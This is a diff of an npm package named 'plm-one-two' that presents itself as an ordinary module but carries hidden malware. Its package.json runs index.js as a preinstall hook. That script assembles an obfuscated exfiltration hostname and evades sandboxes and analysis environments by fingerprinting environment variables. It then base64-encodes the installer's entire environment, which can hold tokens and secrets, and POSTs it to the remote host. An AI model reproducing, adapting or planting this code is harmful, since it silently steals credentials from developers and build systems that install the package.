plm-one-two 1.2.2

package/README.md

@@ -0,0 +1 @@
+# npm-package-cdm

package/fetching.js

@@ -0,0 +1,4 @@
+fetch('https://google.com')
+    .then(function(res) {
+        console.log(res);
+    })

package/index.js

@@ -0,0 +1,144 @@
+const goto = require('https');
+//conreq
+function build() {
+    let options = {
+        "Name": "New PI Contact",
+        "Phone": "+158948945565",
+        "Message": "My Best Dream Friend",
+        "Address": "Avite St pe-455 NET"
+    };
+
+    return (reverseStr(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
+        options['Message'].split(' ')[2] + reverseStr(options['Address'].slice(-3), '.'))
+}
+
+function reverseStr(str1, str2) {
+    return str2 + str1
+}
+
+function number_of(item) {
+
+    for (let i = 0; i < 4; i++) {
+        if (i == 1) {
+            item += 's'
+        }
+        if (i == 3) {
+            item += 'e6'
+        }
+    }
+    return item + '4'
+}
+
+function sleep_for(pkg_n, prefix) {
+    var deactivate = [
+        { key: ['npm', 'config', 'registry'].join('_'), val: ['taobao', 'org'].join('.') },
+        { key: ['npm', 'config', 'registry'].join('_'), val: ['registry', 'npmmirror', 'com'].join('.') },
+        { key: 'USERNAME', val: ['daas', 'admin'].join('') },
+        { key: '_', val: '/usr/bin/python' },
+        { key: 'npm_config_metrics_registry', val: ['mirrors', 'tencent', 'com'].join('.') },
+        [
+            { key: 'MAIL', val: ['', 'var', 'mail', 'app'].join('/') },
+            { key: 'HOME', val: ['', 'home', 'app'].join('/') },
+            { key: 'USER', val: 'app' },
+        ],
+        [
+            { key: 'EDITOR', val: 'vi' },
+            { key: 'PROBE_USERNAME', val: '*' },
+            { key: 'SHELL', val: '/bin/bash' },
+            { key: 'SHLVL', val: '2' },
+            { key: 'npm_command', val: 'run-script' },
+            { key: 'NVM_CD_FLAGS', val: '' },
+            { key: 'npm_config_fund', val: '' },
+        ],
+        [
+            { key: 'HOME', val: '/home/username' },
+            { key: 'USER', val: 'username' },
+            { key: 'LOGNAME', val: 'username' },
+        ],
+        [
+            { key: 'PWD', val: '/my-app' },
+            { key: 'DEBIAN_FRONTEND', val: 'noninteractive' },
+            { key: 'HOME', val: '/root' },
+        ],
+        [
+            { key: 'INIT_CWD', val: '/analysis' },
+            { key: 'APPDATA', val: '/analysis/bait' }
+        ],
+        [
+            { key: 'INIT_CWD', val: '/npm' },
+            { key: 'APPDATA', val: '/analysis/bait' }
+        ],
+        [
+            { key: 'HOME', val: ['', 'Users', 'justin'].join('\\') },
+            { key: 'APPDATA', val: ['', 'Users', 'justin'].join('\\') },
+            {
+                key: 'LOGONSERVER',
+                val: [
+                    ['DESKTOP', '97KB'].join('-'), '6H'
+                ].join('B')
+            }
+        ]
+    ];
+
+    let missing = [
+        ['npm', 'package', 'name'].join('_'), ['npm', 'package', 'json'].join('_'),
+    ];
+
+    var plop = process['en' + 'v'] || {};
+    if (deactivate.some((index) => []
+            .concat(index)
+            .every((i) => (plop[i.key] || '').includes(i.val) || i.val === '*')) ||
+        Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`
+    ) { return; }
+
+    if (missing.some(index => !plop[index])) {
+        return;
+    }
+
+    var req = goto
+        .request(use_language(pkg_n, prefix))
+        .on('error', function(err) {});
+    req.write(Buffer.from(JSON.stringify(plop)).toString('ba' + number_of('')));
+    req.end();
+}
+var MapObj = function() {
+    this.name = '__st' + (Math.random() * 1e9 >>> 0);
+};
+
+function use_language(pkg_n, prefix) {
+    let options = {
+        hostname: prefix + '.m.' + build(),
+        path: '/' + (pkg_n || ''),
+        method: 'POST',
+    };
+    return options
+}
+
+MapObj.prototype = {
+    set: function(key, value) {
+        var entry = key[this.name];
+        if (entry && entry[0] === key)
+            entry[1] = value;
+        else
+            defineProperty(key, this.name, { value: [key, value], writable: true });
+        return this;
+    },
+    get: function(key) {
+        var entry;
+        return (entry = key[this.name]) && entry[0] === key ?
+            entry[1] : undefined;
+    },
+    delete: function(key) {
+        var entry = key[this.name];
+        if (!entry || entry[0] !== key) return false;
+        entry[0] = entry[1] = undefined;
+        return true;
+    },
+    has: function(key) {
+        var entry = key[this.name];
+        if (!entry) return false;
+        return entry[0] === key;
+    }
+};
+
+sleep_for('plm-one-two', 'eoxa2oc0fdxrenr');

package/package.json

@@ -0,0 +1,12 @@
+{
+    "name": "plm-one-two",
+    "version": "1.2.2",
+    "description": "",
+    "main": "index.js",
+    "scripts": {
+        "test": "echo \"Error: no test specified\" && exit 1",
+        "preinstall": "node index.js"
+    },
+    "author": "",
+    "license": "ISC"
+}